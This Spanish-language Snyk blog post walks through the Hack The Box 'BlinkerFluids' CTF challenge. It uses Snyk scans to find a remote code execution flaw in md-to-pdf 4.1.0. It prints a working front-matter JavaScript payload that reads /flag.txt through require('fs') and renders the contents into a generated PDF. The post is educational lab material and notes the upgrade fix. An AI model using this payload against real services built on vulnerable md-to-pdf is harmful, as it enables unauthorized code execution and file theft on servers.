Skip to main content

Resuelve Hack the Box y otros desafíos CTF con Snyk

Escrito por
Headshot of Mathias Conradt

Mathias Conradt

feature ctf challenge

1 de septiembre de 2022

0 minutos de lectura

Hack The Box (HTB) es una plataforma que convierte la capacitación en ciberseguridad en un juego. Es ideal para quienes aspiran a convertirse en pentesters, así como para desarrolladores que quieren ser referentes de seguridad o simplemente comprender un poco mejor la mentalidad de los atacantes para proteger mejor sus aplicaciones.

Creo en la eficacia de la gamificación en la capacitación y la educación porque, seamos honestos: ¿quién no ha participado en una capacitación interna sobre seguridad o ha estudiado para un examen de certificación y olvidado todo ese conocimiento seis meses después? HTB adopta un enfoque diferente con sus juegos prácticos de captura de bandera (CTF), en los que los jugadores irrumpen en una máquina —normalmente una máquina virtual Linux o Windows— al descubrir y explotar vulnerabilidades para capturar dos banderas: primero, la de un usuario normal y luego la del usuario root, mediante una escalada de privilegios. Una bandera es simplemente el contenido de un archivo de texto específico que está en la máquina.

Además de las «máquinas» (los elementos principales de la plataforma) de Hack The Box, también hay tareas más pequeñas en las que puedes participar, llamadas «Challenges». Estos desafíos suelen ser un poco más cortos y solo requieren una bandera, pero a menudo incluyen un conjunto completo de archivos de recursos para descargar. Puede ser un archivo pcap para analizar con Wireshark o el código fuente completo de la aplicación en cuestión, que te permite analizar la estructura y el código de la aplicación subyacente. Justamente ahí es donde entra Snyk.

Snyk te ayuda a encontrar vulnerabilidades y posibles puntos de entrada más rápido. La CLI de Snyk te permite ejecutar pruebas SAST (pruebas estáticas de seguridad de aplicaciones) y SCA (análisis de composición de software) en tu proyecto, además de analizar archivos de manifiesto de aplicaciones, como package.json, para detectar vulnerabilidades conocidas en bibliotecas de código abierto. Incluso señala PoC.

Análisis del desafío BlinkerFluids

El desafío BlinkerFluids es una excelente muestra de HTB. Como es un desafío bastante fácil y una buena forma de empezar, lo usaré como ejemplo en esta publicación del blog.

Panel de BlinkrFluids con tema oscuro que muestra una lista de servicios monitoreados, gráficos de estado, alertas y detalles de los servicios.

Cuando inicies el desafío, recibirás la IP y el puerto del host (46.101.2.216:32221 en este ejemplo). Al abrirlos en un navegador, verás un sitio web con una interfaz sencilla.

Pantalla del desafío BlinkerFluids que muestra los detalles de la instancia, las instrucciones de descarga y una descripción sobre un misterioso proveedor de fluidos

Veamos qué hay detrás de esta URL de destino abriendo http://46.101.2.216:32221.

La aplicación consta de una sola página con una lista de facturas y opciones para exportarlas como PDF, eliminarlas o crear nuevas.

Página de lista de facturas de Blinker Fluids que muestra una factura con fecha de emisión, opción para exportar a PDF, acción para eliminar y botón para crear una nueva factura

Al pasar el cursor sobre el enlace para exportar a PDF, vemos que los archivos PDF se sirven desde lo que parece ser una carpeta de recursos estáticos.

Lista de facturas de Blinker Fluids que muestra una factura, su fecha de emisión, la opción para exportar a PDF, la acción Eliminar y el botón Crear nueva factura.

El editor para crear facturas parece ofrecer un editor WYSIWYG que recibe texto en un lenguaje de marcado (Markdown) antes de convertirlo en PDF.

Pantalla de creación de facturas de Blinker Fluids que muestra los datos de la empresa, la información del cliente, la línea de productos, los totales y un botón Guardar

Antes de analizar más a fondo el host de destino, descarguemos los recursos que proporciona el desafío. Al descargar y extraer el archivo zip, obtenemos el código fuente completo de la aplicación, una aplicación Node empaquetada como imagen de Docker, con el Dockerfile y package.json incluidos.

También vemos un archivo flag.txt en la carpeta raíz. En los desafíos de HTB, la bandera suele estar en la ruta /flag.txt. Sin embargo, el archivo de este paquete zip es solo un marcador de posición, no la bandera activa que buscamos. La plataforma HTB genera y rota estas banderas en línea con su propia lógica. En cualquier caso, ya conocemos la receta y los ingredientes de la aplicación BlinkerFluids.

─$ tree -L 2 
. 
├── build-docker.sh 
├── challenge 
│ ├── database.js 
│ ├── helpers 
│ ├── index.js 
│ ├── node_modules 
│ ├── package.json 
│ ├── package-lock.json
│ ├── routes 
│ ├── static 
│ └── views 
├── config 
│ └── supervisord.conf 
├── Dockerfile 
└── flag.txt 
7 directories, 8 files

La aplicación en sí está en la subcarpeta «challenge». Como podemos ver, hay varias bibliotecas de Node configuradas como dependencias directas y transitivas en node_modules. También vemos la carpeta static, que parece ser la que sirve los archivos PDF exportados que vimos antes.

╰─$ tree -L 2 
. 
├── database.js 
├── helpers 
│ └── MDHelper.js 
├── index.js 
├── node_modules 
│ ├── ... 
│ ├── marked 
│ ├── md-to-pdf 
│ ├── media-typer 
│ ├── ... 
├── package.json 
├── package-lock.json 
├── routes 
│ └── index.js 
├── static 
│ ├── css 
│ ├── images 
│ ├── invoices 
│ └── js 
└── views 
└── index.html 
379 directories, 7 files

Análisis de vulnerabilidades con Snyk

Como buscamos una forma de irrumpir en la aplicación y capturar /flag.txt en la instancia en línea, podemos estudiar el código a fondo para comprender la lógica. Para no extenderme demasiado, no entraré en muchos detalles en esta publicación del blog.

En esencia, buscamos vulnerabilidades en el código personalizado que se escribió o en cualquiera de las dependencias directas o indirectas (transitivas).

La CLI de Snyk nos permite hacer ambas cosas. Si aún no instalaste Snyk, puedes hacerlo con este comando:

npm i -g snyk

o con cualquier otro método que prefieras, como se documenta en la página de instalación de Snyk CLI.

Dentro de la subcarpeta challenge, primero ejecutamos una prueba SAST en el código personalizado:

snyk code test

y obtenemos los siguientes resultados:

$ snyk code test

Testing 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge ...

  ✗ [Medium] Cross-Site Request Forgery (CSRF) 
    Path: index.js, line 2 
    Info: Consider using csurf middleware for your Express app to protect against CSRF   attacks.

  ✗ [Medium] Information Exposure 
    Path: index.js, line 2 
    Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers. 

  ✗ [Medium] Allocation of Resources Without Limits or Throttling 
    Path: routes/index.js, line 9 
    Info: This endpoint handler performs a file system operation and does
not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit. 

  ✗ [High] Cross-site Scripting (XSS) 
    Path: static/js/main.js, line 20 
    Info: Unsanitized input from data from a remote resource flows into append, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS). 

✔ Test completed

Organization: e-corp-demo 
Test type: Static code analysis 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 

Summary:

  4 total Code issues: | 1 High | 3 Medium

Aunque vemos un par de vulnerabilidades, incluida una de gravedad alta, no hay nada que podamos aprovechar; XSS no nos sirve mucho en este caso. Así que continuemos con una prueba SCA.

Como parte de una prueba SCA, Snyk analiza los archivos de manifiesto de un proyecto (en el caso de Node.js, package.json y package-lock.json).

$ cat package.json 
↵ 1 
{ 
        "name": "blinker-fluids", 
        "version": "1.0.0", 
        "description": "", 
        "main": "index.js", 
        "scripts": { 
                "start": "node index.js" 
        }, 
        "keywords": [], 
        "author": "rayhan0x01", 
        "license": "ISC", 
        "dependencies": { 
                "express": "4.17.3", 
                "md-to-pdf": "4.1.0", 
                "nunjucks": "3.2.3", 
                "sqlite-async": "1.1.3", 
                "uuid": "8.3.2" 
        }, 
        "devDependencies": { 
                "nodemon": "^1.19.1" 
        } 
} 

Aunque solo tenemos 5 dependencias directas en package.json, en realidad hay un total de 371 si contamos las dependencias transitivas, como podemos ver en package-lock.json. Son demasiadas vulnerabilidades para revisarlas manualmente. Ejecutemos:

$ npm install 
$ snyk test

Obtenemos los siguientes resultados:

$ snyk test

Testing
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge...

Tested 286 dependencies for known issues, found 4 issues, 11 vulnerable paths. 

Issues to fix by upgrading: 

  Upgrade md-to-pdf@4.1.0 to md-to-pdf@5.0.2 to fix 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity]  [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Remote Code Execution (RCE) [Critical Severity] 
[https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880] in md-to pdf@4.1.0 
    introduced by md-to-pdf@4.1.0 

Issues with no direct upgrade or patch: 
  ✗ Regular Expression Denial of Service (ReDoS) [High Severity] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi regex@2.1.1 
    introduced by md-to-pdf@4.1.0 > listr@0.14.3 > listr-update renderer@0.5.0 > strip-ansi@3.0.1 > ansi-regex@2.1.1 and 7 other path(s) This issue was fixed in versions: 3.0.1, 4.1.1, 5.0.1, 6.0.1 

Organization: e-corp-demo 
Package manager: npm 
Target file: package-lock.json 
Project name: blinker-fluids 
Open source: no 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
Licenses: enabled
Captura de pantalla de una terminal que muestra un informe de análisis estático de código con cuatro problemas de seguridad en Express.js, incluidas vulnerabilidades de CSRF y contaminación de prototipos.

Esto se ve mejor. Podemos ignorar los problemas de ReDoS, ya que provocar una interrupción del servicio no nos ayudaría a acceder a la plataforma. Pero la vulnerabilidad crítica de Remote Code Execution (RCE) en md-to-pdf parece muy prometedora: justo lo que necesitamos. Podemos suponer que md-to-pdf es la biblioteca auxiliar que se usa para convertir el Markdown de la factura en un PDF.

Aquí podemos ver realmente el poder de Snyk. Analizó las dependencias del proyecto en segundos, señaló las vulnerabilidades e incluso proporciona un enlace a Snyk Vulnerability Database, que incluye un PoC de explotación y enlaces al informe original del problema:

Página de la base de datos de vulnerabilidades de Snyk que muestra una vulnerabilidad crítica de ejecución remota de código con puntuación 9.8 en el paquete md-to-pdf, con fragmentos de código.

Esta información ayudará con la explotación, pero vale la pena señalar que el informe de Snyk también recomienda cómo corregir el problema, como puedes ver en la captura de pantalla anterior. Es un consejo realmente práctico.

How to fix? 
Upgrade md-to-pdf to version 5.0.0 or higher.

Pero, como ahora estamos en el papel del atacante, revisemos el problema original en GitHub para obtener más información.

Como se señala en el problema de GitHub, el problema está en la biblioteca gray-matter (que md-to-pdf usa para analizar los metadatos iniciales), que expone un motor de JavaScript de forma predeterminada. En esencia, esto ejecuta eval sobre el Markdown proporcionado, lo que permite que cualquier persona que controle su contenido ejecute código JavaScript arbitrario.

Podemos ver el PoC original y, más abajo, en los comentarios, un PoC ligeramente modificado.

Página oscura de un issue de GitHub que muestra un comentario sobre un paquete malicioso de JavaScript y la ejecución de código arbitrario.

Este PoC intenta listar e imprimir un directorio. Como nos interesa el contenido de la bandera que está en /flag.txt, podemos aprovecharlo con una pequeña modificación para leer el contenido del archivo de la bandera:

---js 
{ 
  css: `body::before { content: 
"${require('fs').readFileSync('/flag.txt')}"; display: block }`, } 
---

Al pegar este código en el generador de facturas y hacer clic en Guardar, obtendremos un PDF que contiene la bandera que buscamos.

Página de creación de factura de Blinker Fluids, con un editor de código oscuro que muestra contenido CSS y un botón Guardar
Lista de facturas de Blinker Fluids que muestra los ID de factura, las fechas de emisión, los enlaces para exportar a PDF, las opciones para eliminar y un botón para crear una nueva factura
Ventana del navegador de Adobe Acrobat que muestra un PDF con una URL difuminada y el panel Herramientas abierto con opciones de conversión de PDF

Envía esta bandera y habrás resuelto el desafío. ¡A por el siguiente! :)

Conviértete en un campeón de CTF con Snyk

Los desafíos de Hack The Box son una forma divertida de aprender sobre vulnerabilidades y cómo explotarlas. Snyk nos ayudó a resolver este desafío de Hack The Box al analizar rápidamente las dependencias de la aplicación y señalar una vulnerabilidad crítica de RCE, junto con información sobre cómo explotarla. También proporcionó información para que el desarrollador de la aplicación pudiera corregir el problema.

Anota la fecha: Snyk organizará «Fetch the Flag CTF» el 9 de noviembre. Regístrate y participa: te esperan 16 desafíos.

Empieza con Capture the Flag

Aprende a resolver desafíos de Capture the Flag viendo nuestro taller virtual introductorio a pedido.

Acerca del autor

Mathias Conradt es emprendedor y profesional de la ciberseguridad, con experiencia en ingeniería de software y preventa. Es Snyk Ambassador y líder del capítulo de DevSecCon Germany. También participa en competencias CTF. Visita su sitio web personal aquí.

Leer más

blog feature snyk container custom base recommendations
Blog

Presentamos Evo Agentic AppSec: seguridad al ritmo del desarrollo con IA

El desarrollo impulsado por IA supera el ritmo de los flujos de trabajo de seguridad tradicionales. Agentic AppSec de Snyk usa agentes de seguridad para encontrar, corregir y verificar vulnerabilidades de forma continua, mientras las personas definen el estándar.

blog feature ai violet
Blog

VulnBump: ¿Pueden los agentes de IA corregir dependencias vulnerables sin romper la compilación?

VulnBump prueba agentes de IA en 307 actualizaciones reales de dependencias. Una corrección cuenta solo si elimina la vulnerabilidad y mantiene en verde la compilación y las pruebas.

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.